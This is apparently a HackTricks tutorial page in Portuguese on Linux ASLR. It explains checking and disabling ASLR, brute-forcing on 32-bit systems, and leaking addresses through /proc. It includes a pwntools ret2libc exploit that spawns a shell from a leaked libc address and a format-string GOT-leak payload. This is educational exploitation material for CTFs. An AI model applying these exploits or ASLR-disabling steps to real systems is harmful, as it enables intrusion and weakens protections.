hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr

ASLR

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Informações Básicas

Address Space Layout Randomization (ASLR) é uma técnica de segurança utilizada em sistemas operacionais para randomizar os endereços de memória usados por processos do sistema e de aplicativos. Ao fazer isso, torna-se significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, particularmente buffer overflows.

Verificando o Status do ASLR

Para verificar o status do ASLR em um sistema Linux, você pode ler o valor do arquivo /proc/sys/kernel/randomize_va_space. O valor armazenado neste arquivo determina o tipo de ASLR que está sendo aplicado:

• 0: Sem randomização. Tudo é estático.
• 1: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas.
• 2: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada através de brk() é randomizada.

Você pode verificar o status do ASLR com o seguinte comando:

cat /proc/sys/kernel/randomize_va_space

Desabilitando ASLR

Para desabilitar ASLR, você define o valor de /proc/sys/kernel/randomize_va_space como 0. Desabilitar ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Aqui está como você pode desabilitá-lo:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Você também pode desativar o ASLR para uma execução com:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Habilitando ASLR

Para habilitar ASLR, você pode escrever um valor de 2 no arquivo /proc/sys/kernel/randomize_va_space. Isso geralmente requer privilégios de root. Habilitar a randomização completa pode ser feito com o seguinte comando:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistência Através de Reinicializações

As alterações feitas com os comandos echo são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo /etc/sysctl.conf e adicionar ou modificar a seguinte linha:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Após editar /etc/sysctl.conf, aplique as alterações com:

sudo sysctl -p

Isso garantirá que suas configurações de ASLR permaneçam após reinicializações.

Bypasses

Força bruta de 32 bits

PaX divide o espaço de endereços do processo em 3 grupos:

• Código e dados (inicializados e não inicializados): .text, .data e .bss —> 16 bits de entropia na variável delta_exec. Esta variável é inicializada aleatoriamente com cada processo e adicionada aos endereços iniciais.
• Memória alocada por mmap() e bibliotecas compartilhadas —> 16 bits, chamada delta_mmap.
• A pilha —> 24 bits, referida como delta_stack. No entanto, ela efetivamente utiliza 11 bits (do 10º ao 20º byte, inclusive), alinhados a 16 bytes —> Isso resulta em 524.288 endereços de pilha reais possíveis.

Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que a exploração seja concluída com sucesso.

Ideias de força bruta:

• Se você tiver um estouro grande o suficiente para hospedar um grande NOP sled antes do shellcode, você poderia simplesmente forçar endereços na pilha até que o fluxo salte sobre alguma parte do NOP sled.
• Outra opção para isso, caso o estouro não seja tão grande e a exploração possa ser executada localmente, é possível adicionar o NOP sled e o shellcode em uma variável de ambiente.
• Se a exploração for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits):

for off in range(0xb7000000, 0xb8000000, 0x1000):

• Se você estiver atacando um servidor remoto, pode tentar forçar a descoberta do endereço da função usleep da libc, passando como argumento 10 (por exemplo). Se em algum momento o servidor demora 10s a mais para responder, você encontrou o endereço dessa função.

{% hint style="success" %} Em sistemas de 64 bits, a entropia é muito maior e isso não é possível. {% endhint %}

Informações Locais (/proc/[pid]/stat)

O arquivo /proc/[pid]/stat de um processo é sempre legível por todos e contém informações interessantes como:

• startcode & endcode: Endereços acima e abaixo com o TEXT do binário
• startstack: O endereço do início da pilha
• start_data & end_data: Endereços acima e abaixo onde está o BSS
• kstkesp & kstkeip: Endereços atuais de ESP e EIP
• arg_start & arg_end: Endereços acima e abaixo onde estão os argumentos cli.
• env_start & env_end: Endereços acima e abaixo onde estão as variáveis de ambiente.

Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e esse binário não espera o estouro de argumentos brutos, mas de uma entrada diferente que pode ser criada após a leitura deste arquivo. É possível para um atacante obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração.

{% hint style="success" %} Para mais informações sobre este arquivo, consulte https://man7.org/linux/man-pages/man5/proc.5.html procurando por /proc/pid/stat {% endhint %}

Tendo um leak

• O desafio é fornecer um leak

Se você receber um leak (desafios fáceis de CTF), pode calcular offsets a partir dele (supondo, por exemplo, que você conheça a versão exata da libc que está sendo usada no sistema que você está explorando). Este exemplo de exploração é extraído do exemplo daqui (ver essa página para mais detalhes):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

• ret2plt

Abusando de um buffer overflow, seria possível explorar um ret2plt para exfiltrar um endereço de uma função da libc. Verifique:

{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}

• Format Strings Arbitrary Read

Assim como no ret2plt, se você tiver uma leitura arbitrária através de uma vulnerabilidade de format strings, é possível exfiltrar o endereço de uma função libc do GOT. O seguinte exemplo é daqui:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Você pode encontrar mais informações sobre Leitura arbitrária de Strings de Formato em:

{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}

Ret2ret & Ret2pop

Tente contornar o ASLR abusando de endereços dentro da pilha:

{% content-ref url="../../stack-overflow/ret2ret.md" %} ret2ret.md {% endcontent-ref %}

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Confira os planos de assinatura!
• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
• Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.

{% endhint %}